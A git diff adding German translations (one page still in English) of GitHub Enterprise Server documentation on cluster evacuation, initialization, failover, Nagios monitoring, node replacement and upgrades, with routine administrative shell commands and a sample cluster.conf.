+   - **{% data variables.product.prodname_pages %}** :
+
+     ```shell
+     $ echo "select count(*) from pages_replicas where host = 'pages-server-<em>UUID</em>'" | ghe-dbconsole -y
+     ```
+
+   - **Storage**:
+
+     ```shell
+     $ ghe-storage evacuation-status storage-server-<em>UUID</em>
+     ```
+1. Nach Abschluss des Kopiervorgangs kannst du den Knoten evakuieren, indem du einen der folgenden Befehle ausführst und dabei `UUID` durch die UUID aus Schritt 2 ersetzt.
+
+   - **Git**:
+
+     ```shell
+     $ ghe-spokes server evacuate git-server-<em>UUID</em> \'<em>REASON FOR EVACUATION</em>\'
+     ```
+
+   - **{% data variables.product.prodname_pages %}** :
+
+     ```shell
+     $ ghe-dpages evacuate pages-server-<em>UUID</em>
+     ```
+
+   - Für **Speicher** schaltest du zunächst den Knoten offline, indem du den folgenden Befehl ausführst.
+
+     ```shell
+     $ ghe-storage offline storage-server-<em>UUID</em>
+     ```
+
+     Wenn der Speicherknoten offline ist, kannst du ihn evakuieren, indem du den folgenden Befehl ausführst.
+
+     ```shell
+     $ ghe-storage evacuate storage-server-<em>UUID</em>
+     ```
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/index.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/index.md
new file mode 100644
index 0000000000..31828860f5
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/index.md
@@ -0,0 +1,32 @@
+---
+title: Konfigurieren des Clusterings
+intro: Erfahre mehr über Clustering und die Abgrenzung zu Hoch-Verfügbarkeit.
+redirect_from:
+  - /enterprise/admin/clustering/setting-up-the-cluster-instances
+  - /enterprise/admin/clustering/managing-a-github-enterprise-server-cluster
+  - /enterprise/admin/guides/clustering/managing-a-github-enterprise-cluster
+  - /enterprise/admin/enterprise-management/configuring-clustering
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /about-clustering
+  - /differences-between-clustering-and-high-availability-ha
+  - /about-cluster-nodes
+  - /cluster-network-configuration
+  - /initializing-the-cluster
+  - /upgrading-a-cluster
+  - /monitoring-cluster-nodes
+  - /replacing-a-cluster-node
+  - /evacuating-a-cluster-node
+  - /configuring-high-availability-replication-for-a-cluster
+  - /initiating-a-failover-to-your-replica-cluster
+ms.openlocfilehash: 53288d602951e8e271e245d20248d9bdf1a42634
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106899'
+---
+
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md
new file mode 100644
index 0000000000..d9f9b98dbc
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md
@@ -0,0 +1,162 @@
+---
+title: Initializing the cluster
+intro: 'A {% data variables.product.prodname_ghe_server %} cluster must be set up with a license and initialized using the administrative shell (SSH).'
+redirect_from:
+  - /enterprise/admin/clustering/initializing-the-cluster
+  - /enterprise/admin/enterprise-management/initializing-the-cluster
+  - /admin/enterprise-management/initializing-the-cluster
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Clustering
+  - Enterprise
+---
+{% data reusables.enterprise_clustering.clustering-requires-https %}
+
+## Installing {% data variables.product.prodname_ghe_server %}
+
+1. On each cluster node, provision and install {% data variables.product.prodname_ghe_server %}. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance)."
+2. Using the administrative shell or DHCP, **only** configure the IP address of each node. Don't configure any other settings.
+
+## Configuring the first node
+
+1. Connect to the node that will be designated as MySQL primary in `cluster.conf`. For more information, see "[About the cluster configuration file](/enterprise/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file)."
+2. In your web browser, visit `https://<ip address>:8443/setup/`.
+{% data reusables.enterprise_installation.upload-a-license-file %}
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %}
+{% data reusables.enterprise_installation.instance-will-restart-automatically %}
+
+## Initializing the cluster
+
+To initialize the cluster, you need a cluster configuration file (`cluster.conf`). For more information, see "[About the cluster configuration file](/enterprise/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file)".
+
+1. From the first node that was configured, run `ghe-cluster-config-init`.  This will initialize the cluster if there are nodes in the cluster configuration file that are not configured.
+2. Run `ghe-cluster-config-apply`. This will validate the `cluster.conf` file, apply the configuration to each node file and bring up the configured services on each node.
+
+To check the status of a running cluster use the `ghe-cluster-status` command.
+
+## About the cluster configuration file
+
+The cluster configuration file (`cluster.conf`) defines the nodes in the cluster, and what services they run.
+For more information, see "[About cluster nodes](/enterprise/admin/guides/clustering/about-cluster-nodes)."
+
+This example `cluster.conf` defines a cluster with 11 nodes.
+
+  - Two nodes called `ghes-front-end-node-\*` run services responsible for responding to client requests.
+  - Three nodes called `ghes-database-node-\*` run services responsible for storage, retrieval, and replication of database data.
+  - Three nodes called `ghes-search-node-\*` run services responsible for search functionality.
+  - Three nodes called `ghes-storage-node-\*` run services responsible for storage, retrieval, and replication of data.
+
+The names of the nodes can be any valid hostname you choose. The names are set as the hostname of each node, and will also be added to `/etc/hosts` on each node, so that the nodes are locally resolvable to each other.
+
+Specify the first cluster node you configured as the MySQL primary via `mysql-server` and `mysql-master`.
+
+```ini
+[cluster]
+  mysql-master = ghes-database-node-1
+  redis-master = ghes-database-node-1
+  primary-datacenter = primary
+[cluster "ghes-front-end-node-1"]
+  hostname = ghes-front-end-node-1
+  ipv4 = 192.168.0.2
+  # ipv6 = fd12:3456:789a:1::2
+  consul-datacenter = primary
+  datacenter = primary
+  web-server = true
+  job-server = true
+  memcache-server = true
+[cluster "ghes-front-end-node-2"]
+  hostname = ghes-front-end-node-2
+  ipv4 = 192.168.0.3
+  # ipv6 = fd12:3456:789a:1::3
+  consul-datacenter = primary
+  datacenter = primary
+  web-server = true
+  job-server = true
+  memcache-server = true
+[cluster "ghes-database-node-1"]
+  hostname = ghes-database-node-1
+  ipv4 = 192.168.0.4
+  # ipv6 = fd12:3456:789a:1::4
+  consul-datacenter = primary
+  datacenter = primary
+  consul-server = true
+  mysql-server = true
+  redis-server = true
+[cluster "ghes-database-node-2"]
+  hostname = ghes-database-node-2
+  ipv4 = 192.168.0.5
+  # ipv6 = fd12:3456:789a:1::5
+  consul-datacenter = primary
+  datacenter = primary
+  consul-server = true
+  mysql-server = true
+  redis-server = true
+[cluster "ghes-database-node-3"]
+  hostname = ghes-database-node-3
+  ipv4 = 192.168.0.6
+  # ipv6 = fd12:3456:789a:1::6
+  consul-datacenter = primary
+  datacenter = primary
+  consul-server = true
+  mysql-server = true
+  redis-server = true
+[cluster "ghes-search-node-1"]
+  hostname = ghes-search-node-1
+  ipv4 = 192.168.0.7
+  # ipv6 = fd12:3456:789a:1::7
+  consul-datacenter = primary
+  datacenter = primary
+  elasticsearch-server = true
+[cluster "ghes-search-node-2"]
+  hostname = ghes-search-node-2
+  ipv4 = 192.168.0.8
+  # ipv6 = fd12:3456:789a:1::8
+  consul-datacenter = primary
+  datacenter = primary
+  elasticsearch-server = true
+[cluster "ghes-search-node-3"]
+  hostname = ghes-search-node-3
+  ipv4 = 192.168.0.9
+  # ipv6 = fd12:3456:789a:1::9
+  consul-datacenter = primary
+  datacenter = primary
+  elasticsearch-server = true
+[cluster "ghes-storage-node-1"]
+  hostname = ghes-storage-node-1
+  ipv4 = 192.168.0.10
+  # ipv6 = fd12:3456:789a:1::10
+  consul-datacenter = primary
+  datacenter = primary
+  git-server = true
+  pages-server = true
+  storage-server = true
+  metrics-server = true
+[cluster "ghes-storage-node-2"]
+  hostname = ghes-storage-node-2
+  ipv4 = 192.168.0.11
+  # ipv6 = fd12:3456:789a:1::11
+  consul-datacenter = primary
+  datacenter = primary
+  git-server = true
+  pages-server = true
+  storage-server = true
+  metrics-server = true
+[cluster "ghes-storage-node-3"]
+  hostname = ghes-storage-node-3
+  ipv4 = 192.168.0.12
+  # ipv6 = fd12:3456:789a:1::12
+  consul-datacenter = primary
+  datacenter = primary
+  git-server = true
+  pages-server = true
+  storage-server = true
+  metrics-server = true
+```
+
+Create the file `/data/user/common/cluster.conf` on the configured first node. For example, using `vim`:
+
+   ```shell
+   ghe-data-node-1:~$ sudo vim /data/user/common/cluster.conf
+   ```
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/initiating-a-failover-to-your-replica-cluster.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/initiating-a-failover-to-your-replica-cluster.md
new file mode 100644
index 0000000000..5c03331008
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/initiating-a-failover-to-your-replica-cluster.md
@@ -0,0 +1,49 @@
+---
+title: Initiieren eines Failovers zu deinem Replikatcluster
+intro: 'Wenn bei deinem {% data variables.product.prodname_ghe_server %}-Cluster ein Fehler auftritt, kannst du ein Failover zum passiven Replikat ausführen.'
+redirect_from:
+  - /enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster
+  - /admin/enterprise-management/initiating-a-failover-to-your-replica-cluster
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Clustering
+  - Enterprise
+  - High availability
+  - Infrastructure
+shortTitle: Initiate a failover to replica
+ms.openlocfilehash: 14889e5d861475bc2d887062fb12450194cd6505
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106900'
+---
+## Informationen zu einem Failover zu deinem Replikatcluster
+
+Wenn ein Fehler im primären Rechenzentrum auftritt, kannst du ein Failover zu den Replikatknoten im sekundären Rechenzentrum ausführen, wenn du für jeden Knoten in deinem aktiven Cluster einen passiven Replikatknoten konfigurierst.
+
+Wie lange das Failover dauert, hängt davon ab, wie lange es dauert, den Replikatcluster manuell hochzustufen und den Datenverkehr dorthin umzuleiten.
+
+Wenn ein Replikatcluster hochgestuft wird, wird nicht automatisch die Replikation für den vorhandenen Cluster eingerichtet. Nach dem Hochstufen eines Replikatclusters kannst du die Replikation aus dem neuen aktiven Cluster neu konfigurieren. Weitere Informationen findest du unter [Konfigurieren von Hochverfügbarkeit für einen Cluster](/enterprise/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster#reconfiguring-high-availability-replication-after-a-failover).
+
+## Voraussetzungen
+
+Um ein Failover zu passiven Replikatknoten auszuführen, musst du hohe Verfügbarkeit für deinen Cluster konfiguriert haben. Weitere Informationen findest du unter [Konfigurieren von Hochverfügbarkeit für einen Cluster](/enterprise/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster).
+
+## Initiieren eines Failovers zu deinem Replikatcluster
+
+1. Stelle eine SSH-Verbindung mit jedem passiven Knoten im sekundären Rechenzentrum für deinen Cluster her. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh#enabling-access-to-the-administrative-shell-via-ssh).
+
+2. Initialisiere das Failover an den sekundären Cluster, und konfiguriere ihn, als aktiver Knoten zu fungieren.
+
+    ```shell
+  ghe-cluster-failover
+  ```
+
+{% data reusables.enterprise_clustering.configuration-finished %}
+
+3. Aktualisiere den DNS-Eintrag, um auf die IP-Adresse des Lastenausgleichs für deinen passiven Cluster zu verweisen. Nach dem Verstreichen des TTL-Zeitraums wird der Traffic an das Replikat geleitet.
+
+Nachdem {% data variables.product.prodname_ghe_server %} dich zur Eingabeaufforderung zurückgeführt hat und die DNS-Updates übertragen wurden, ist das Failover abgeschlossen. Benutzer können mithilfe des üblichen Hostnamens für deinen Cluster auf {% data variables.product.prodname_ghe_server %} zugreifen.
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes.md
new file mode 100644
index 0000000000..64e138fd41
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes.md
@@ -0,0 +1,125 @@
+---
+title: Clusterknoten überwachen
+intro: 'Ein {% data variables.product.prodname_ghe_server %}-Cluster besteht aus redundanten Diensten, die auf mindestens zwei Knoten verteilt sind. Wenn bei einem einzelnen Dienst oder einem gesamten Knoten ein Fehler auftritt, sollte dies den Benutzern des Clusters sofort auffallen. Da jedoch Leistung und Redundanz betroffen sind, ist es wichtig, den Zustand eines {% data variables.product.prodname_ghe_server %}-Clusters zu überwachen.'
+redirect_from:
+  - /enterprise/admin/clustering/monitoring-cluster-nodes
+  - /enterprise/admin/enterprise-management/monitoring-cluster-nodes
+  - /admin/enterprise-management/monitoring-cluster-nodes
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Clustering
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Monitoring
+  - Performance
+ms.openlocfilehash: a5cab340f84d572a0a8e549d942b7b52ef522733
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145106895'
+---
+## Clusterstatus manuell überprüfen
+
+{% data variables.product.prodname_ghe_server %} besitzt ein integriertes Befehlszeilendienstprogramm zum Überwachen des Clusterzustands. Wenn in der Verwaltungsshell der Befehl `ghe-cluster-status` ausgeführt wird, werden einige Zustandsprüfungen auf jedem Knoten ausgeführt, darunter die Verifizierung der Konnektivität und des Dienststatus. Die Ausgabe zeigt alle Testergebnisse einschließlich der Texte `ok` oder `error` an. Führe beispielsweise Folgendes aus, um nur fehlgeschlagene Tests anzuzeigen:
+
+```shell
+admin@ghe-data-node-0:~$ <em>ghe-cluster-status | grep error</em>
+> mysql-replication ghe-data-node-0: error Stopped
+> mysql cluster: error
+```
+{% note %}
+
+**Hinweis**: Wenn keine fehlerhaften Tests vorliegen, gibt dieser Befehl nichts aus. Dies gibt an, dass der Cluster fehlerfrei ist.
+
+{% endnote %}
+
+## Clusterstatus mit Nagios überwachen
+
+Du kannst [Nagios](https://www.nagios.org/) für die Überwachung von {% data variables.product.prodname_ghe_server %} konfigurieren. Zusätzlich zur Überwachung der grundlegenden Konnektivität jedes Clusterknotens kannst du den Clusterstatus überprüfen, indem du Nagios für die Verwendung des Befehls `ghe-cluster-status -n` konfigurierst. Dadurch wird eine für Nagios verständliche Ausgabe zurückgegeben.
+
+### Voraussetzungen
+* Linux-Host, auf dem Nagios ausgeführt wird.
+* Netzwerkzugriff auf den {% data variables.product.prodname_ghe_server %}-Cluster.
+
+### Nagios-Host konfigurieren
+1. Generiere einen SSH-Schlüssel mit einer leeren Passphrase. Nagios verwendet diese, um sich beim {% data variables.product.prodname_ghe_server %}-Cluster zu authentifizieren.
+  ```shell
+  nagiosuser@nagios:~$ <em>ssh-keygen -t ed25519</em>
+  > Generating public/private ed25519 key pair.
+  > Enter file in which to save the key (/home/nagiosuser/.ssh/id_ed25519):
+  > Enter passphrase (empty for no passphrase): <em>leave blank by pressing enter</em>
+  > Enter same passphrase again: <em>press enter again</em>
+  > Your identification has been saved in /home/nagiosuser/.ssh/id_ed25519.
+  > Your public key has been saved in /home/nagiosuser/.ssh/id_ed25519.pub.
+  ```
+  {% danger %}
+
+  **Sicherheitswarnung**: Ein SSH-Schlüssel ohne Passphrase kann ein Sicherheitsrisiko darstellen, wenn er für den Vollzugriff auf einen Host berechtigt ist. Begrenze die Autorisierung dieses Schlüssels auf einen einzelnen schreibgeschützten Befehl.
+
+  {% enddanger %} {% note %}
+
+  **Hinweis**: Wenn du eine Linux-Distribution verwendest, die den Ed25519-Algorithmus nicht unterstützt, verwende den folgenden Befehl:
+  ```shell
+  nagiosuser@nagios:~$ ssh-keygen -t rsa -b 4096
+  ```
+
+  {% endnote %}
+2. Kopiere den privaten Schlüssel (`id_ed25519`) in den Startordner `nagios` und lege den entsprechenden Besitz fest.
+  ```shell
+  nagiosuser@nagios:~$ <em>sudo cp .ssh/id_ed25519 /var/lib/nagios/.ssh/</em>
+  nagiosuser@nagios:~$ <em>sudo chown nagios:nagios /var/lib/nagios/.ssh/id_ed25519</em>
+  ```
+
+3. Um den öffentlichen Schlüssel *nur* für die Ausführung des Befehls `ghe-cluster-status -n` zu autorisieren, verwende ein `command=`-Präfix in der Datei `/data/user/common/authorized_keys`. Ändere in der Verwaltungsshell oder auf einem beliebigen Knoten diese Datei, um den in Schritt 1 generierten öffentlichen Schlüssel hinzuzufügen. Beispiel: `command="/usr/local/bin/ghe-cluster-status -n" ssh-ed25519 AAAA....`
+
+4. Überprüfe die Konfiguration und kopiere sie auf jeden Knoten im Cluster, indem du `ghe-cluster-config-apply` auf dem Knoten ausführst, auf dem du die Datei `/data/user/common/authorized_keys` geändert hast.
+
+  ```shell
+  admin@ghe-data-node-0:~$ <em>ghe-cluster-config-apply</em>
+  > Validating configuration
+  > ...
+  > Finished cluster configuration
+  ```
+
+5. Um zu testen, ob das Nagios-Plug-in den Befehl erfolgreich ausführen kann, führe es auf dem Nagios-Host interaktiv aus.
+  ```shell
+  nagiosuser@nagios:~$ /usr/lib/nagios/plugins/check_by_ssh -l admin -p 122 -H <em>hostname</em> -C "ghe-cluster-status -n" -t 30
+  > OK - No errors detected
+  ```
+
+6. Erstelle eine Befehlsdefinition in deiner Nagios-Konfiguration.
+  ###### Beispieldefinition
+
+  ```
+  define command {
+        command_name    check_ssh_ghe_cluster
+        command_line    $USER1$/check_by_ssh -H $HOSTADDRESS$ -C "ghe-cluster-status -n" -l admin -p 122 -t 30
+  }
+  ```
+7. Füge diesen Befehl zu einer Dienstdefinition für einen Knoten im {% data variables.product.prodname_ghe_server %}-Cluster hinzu.
+
+  ###### Beispieldefinition
+
+  ```
+  define host{
+        use                     generic-host
+        host_name               ghe-data-node-0
+        alias                   ghe-data-node-0
+        address                 10.11.17.180
+        }
+
+  define service{
+          use                             generic-service
+          host_name                       ghe-data-node-0
+          service_description             GitHub Cluster Status
+          check_command                   check_ssh_ghe_cluster
+          }
+  ```
+
+Nachdem du Nagios die Definition hinzugefügt hast, wird die Dienstüberprüfung entsprechend deiner Konfiguration ausgeführt. Du solltest den neu konfigurierten Dienst auf der Nagios-Weboberfläche anzeigen können.
+
+![Nagios-Beispiel](/assets/images/enterprise/cluster/nagios-example.png)
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/replacing-a-cluster-node.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/replacing-a-cluster-node.md
new file mode 100644
index 0000000000..a0e27b1a85
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/replacing-a-cluster-node.md
@@ -0,0 +1,32 @@
+---
+title: Clusterknoten ersetzen
+intro: 'Zum Ersetzen eines {% data variables.product.prodname_ghe_server %}-Knotens musst du die betroffenen Knoten in der Clusterkonfigurationsdatei (`cluster.conf`) als offline markieren und die Ersatzknoten hinzufügen. Dies ist ggf. erforderlich, wenn bei einem Knoten ein Fehler auftritt, oder um zur Leistungssteigerung einen Knoten mit mehr Ressourcen hinzuzufügen.'
+redirect_from:
+  - /enterprise/admin/clustering/replacing-a-cluster-node
+  - /enterprise/admin/enterprise-management/replacing-a-cluster-node
+  - /admin/enterprise-management/replacing-a-cluster-node
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Clustering
+  - Enterprise
+  - Infrastructure
+ms.openlocfilehash: 4b4a34424803179d27aa245ad6ccb416ff926c59
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145104984'
+---
+{% warning %}
+
+**Warnung:** Zum Vermeiden von Konflikten muss der Ersatzknoten einen Hostnamen verwenden, der noch nicht im Cluster verwendet wurde.
+
+{% endwarning %}
+
+## Funktionierenden Knoten ersetzen
+{% data reusables.enterprise_clustering.replacing-a-cluster-node-provision %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-admin-configure-ip %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-modify-cluster-conf %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-initialize-new-node %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-config-node %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-need-three-nodes %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-mark-offline %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-validate-config %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-replacement-name %}
+
+## Knoten in einem Notfall ersetzen
+{% data reusables.enterprise_clustering.replacing-a-cluster-node-provision %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-admin-configure-ip %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-mark-offline %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-validate-config %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-modify-cluster-conf %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-replacement-name %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-initialize-new-node %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-config-node %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-need-three-nodes %}
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/upgrading-a-cluster.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/upgrading-a-cluster.md
new file mode 100644
index 0000000000..231fc6c40c
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/upgrading-a-cluster.md
@@ -0,0 +1,91 @@
+---
+title: Cluster-Upgrade
+intro: 'Verwende die Verwaltungsshell (SSH), um ein {% data variables.product.prodname_ghe_server %}-Cluster auf die neueste Version zu aktualisieren.'
+redirect_from:
+  - /enterprise/admin/clustering/upgrading-a-cluster
+  - /enterprise/admin/enterprise-management/upgrading-a-cluster
+  - /admin/enterprise-management/upgrading-a-cluster
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Clustering
+  - Enterprise
+  - Upgrades
+ms.openlocfilehash: 040fe0d315f440c8d5489b04f808dbe1f6c67972
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106892'
+---
+## Upgrade mit einem Hotpatch
+{% data reusables.enterprise_installation.hotpatching-explanation %} Das Hotpatch-Installationsskript installiert den Hotpatch auf jedem Knoten im Cluster und startet die Dienste zum Vermeiden von Ausfallzeiten in ihrer entsprechenden Abfolge neu.
+
+1. Sichere deine Daten mit [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme).
+2. Führe den Befehl `ghe-cluster-hotpatch` über die Verwaltungsshell eines beliebigen Knotens aus, um den neuesten Hotpatch zu installieren. Du kannst eine URL für einen Hotpatch bereitstellen oder den Hotpatch manuell herunterladen und einen lokalen Dateinamen angeben.
+  ```shell
+  $ ghe-cluster-hotpatch https://<em>HOTPATCH-URL/FILENAME</em>.hpkg
+  ```
+
+## Upgrade mit einem Upgrade-Paket
+Verwende ein Upgrade-Paket, um ein Upgrade eines {% data variables.product.prodname_ghe_server %}-Clusters auf die neueste Feature-Veröffentlichung vorzunehmen. Du kannst beispielsweise ein Upgrade von Version `2.11` auf Version `2.13` durchführen.
+
+### Upgrade vorbereiten
+
+1. Überprüfe die [Clusternetzwerkkonfiguration](/enterprise/admin/guides/clustering/cluster-network-configuration) auf die Version, auf die du ein Upgrade durchführst, und aktualisiere deine Konfiguration bei Bedarf.
+2. Sichere deine Daten mit [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme).
+3. Plane ein Wartungsfenster für Endbenutzer deines {% data variables.product.prodname_ghe_server %}-Clusters, da er während des Upgrades für die normale Nutzung nicht verfügbar ist. Der Wartungsmodus blockiert den Benutzerzugriff und verhindert Datenänderungen, während das Cluster-Upgrade ausgeführt wird.
+4. Kopiere auf der [{% data variables.product.prodname_ghe_server %}-Downloadseite](https://enterprise.github.com/download) die URL für das Upgrade der *PKG*-Datei in die Zwischenablage.
+5. Führe über die Verwaltungsshell eines beliebigen Knotens den Befehl `ghe-cluster-each` in Kombination mit `curl` aus, um das Releasepaket in einem einzelnen Schritt in jeden Knoten herunterzuladen. Verwende die im vorherigen Schritt von dir kopierte URL als ein Argument.
+  ```shell
+  $ ghe-cluster-each -- "cd /home/admin && curl -L -O  https://<em>PACKAGE-URL</em>.pkg"
+  > ghe-app-node-1:   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
+  > ghe-app-node-1:                                  Dload  Upload   Total   Spent    Left  Speed
+  > 100  496M  100  496M    0     0  24.2M      0  0:00:20  0:00:20 --:--:-- 27.4M
+  > ghe-data-node-2:   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
+  > ghe-data-node-2:                                  Dload  Upload   Total   Spent    Left  Speed
+  > 100  496M  100  496M    0     0  21.3M      0  0:00:23  0:00:23 --:--:-- 25.8M
+  > ghe-data-node-1:   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
+  > ghe-data-node-1:                                  Dload  Upload   Total   Spent    Left  Speed
+  > 100  496M  100  496M    0     0  19.7M      0  0:00:25  0:00:25 --:--:-- 25.6M
+  > ghe-app-node-2:   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
+  > ghe-app-node-2:                                  Dload  Upload   Total   Spent    Left  Speed
+  > 100  496M  100  496M    0     0  19.8M      0  0:00:25  0:00:25 --:--:-- 17.6M
+  > ghe-data-node-3:   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
+  > ghe-data-node-3:                                  Dload  Upload   Total   Spent    Left  Speed
+  > 100  496M  100  496M    0     0  19.7M      0  0:00:25  0:00:25 --:--:-- 25.5M
+  ```
+6. Identifiziere den primären MySQL-Knoten, der in `cluster.conf` als `mysql-master = <hostname>` definiert ist. Dieser Knoten wird zuletzt upgegradet.
+
+### Clusterknoten upgraden
+
+1. Aktiviere den Wartungsmodus gemäß deinem geplanten Fenster, indem du eine Verbindung mit der Verwaltungsshell eines beliebigen Serverknotens herstellst und `ghe-cluster-maintenance -s` ausführst.
+2. Stelle **mit Ausnahme des primären MySQL-Knotens** eine Verbindung mit der Verwaltungsshell der jeweiligen {% data variables.product.prodname_ghe_server %}-Knoten her.
+Führe den Befehl `ghe-upgrade` aus, indem du den Namen der Paketdatei angibst, die du in Schritt 4 des Abschnitts [Vorbereiten des Upgrades](#preparing-to-upgrade) heruntergeladen hast:
+  ```shell
+  $ ghe-upgrade <em>PACKAGE-FILENAME</em>.pkg
+  > *** verifying upgrade package signature...
+  >  497MB 0:00:04 [ 117MB/s] [==========================================>] 100%            
+  > gpg: Signature made Fri 19 Feb 2016 02:33:50 PM UTC using RSA key ID 0D65D57A
+  > gpg: checking the trustdb
+  > gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
+  > gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
+  > gpg: Good signature from "GitHub Enterprise (Upgrade Package Key) > <enterprise@github.com>"
+  ```
+3. Der Upgrade-Prozess startet den Knoten nach dem Abschluss neu. Stelle sicher, dass du jeden Knoten nach dem Neustart pingen (`ping`) kannst.
+4. Stelle auf dem primären MySQL-Knoten eine Verbindung zur Verwaltungsshell her. Führe den Befehl `ghe-upgrade` aus, indem du den Namen der Paketdatei angibst, die du in Schritt 4 des Abschnitts [Vorbereiten des Upgrades](#preparing-to-upgrade) heruntergeladen hast:
+  ```shell
+  $ ghe-upgrade <em>PACKAGE-FILENAME</em>.pkg
+  > *** verifying upgrade package signature...
+  >  497MB 0:00:04 [ 117MB/s] [==========================================>] 100%            
+  > gpg: Signature made Fri 19 Feb 2016 02:33:50 PM UTC using RSA key ID 0D65D57A
+  > gpg: checking the trustdb
+  > gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
+  > gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
+  > gpg: Good signature from "GitHub Enterprise (Upgrade Package Key) > <enterprise@github.com>"
+  ```
+5. Der Upgrade-Prozess startet den primären MySQL-Knoten nach dem Abschluss neu. Stelle sicher, dass du jeden Knoten nach dem Neustart pingen (`ping`) kannst.{% ifversion ghes %}
+6. Stelle eine Verbindung mit der Verwaltungsshell des primären MySQL-Knotens her, und führe den `ghe-cluster-config-apply`-Befehl aus.
+7. Überprüfe nach Abschluss von `ghe-cluster-config-apply` durch das Ausführen von `ghe-cluster-status`, ob die Dienste problemlos funktionieren.{% endif %}
+8. Beende den Wartungsmodus über die Verwaltungsshell eines beliebigen Knotens, indem du `ghe-cluster-maintenance -u` ausführst.
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md
new file mode 100644
index 0000000000..a6050d227a
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md
@@ -0,0 +1,42 @@
+---
+title: Informationen zur Geo-Replikation
+intro: 'Die Geo-Replikation auf {% data variables.product.prodname_ghe_server %} verwendet mehrere aktive Replikate, um Anforderungen von geografisch verteilten Rechenzentren zu erfüllen.'
+redirect_from:
+  - /enterprise/admin/installation/about-geo-replication
+  - /enterprise/admin/enterprise-management/about-geo-replication
+  - /admin/enterprise-management/about-geo-replication
+versions:
+  ghes: '*'
+type: overview
+topics:
+  - Enterprise
+  - High availability
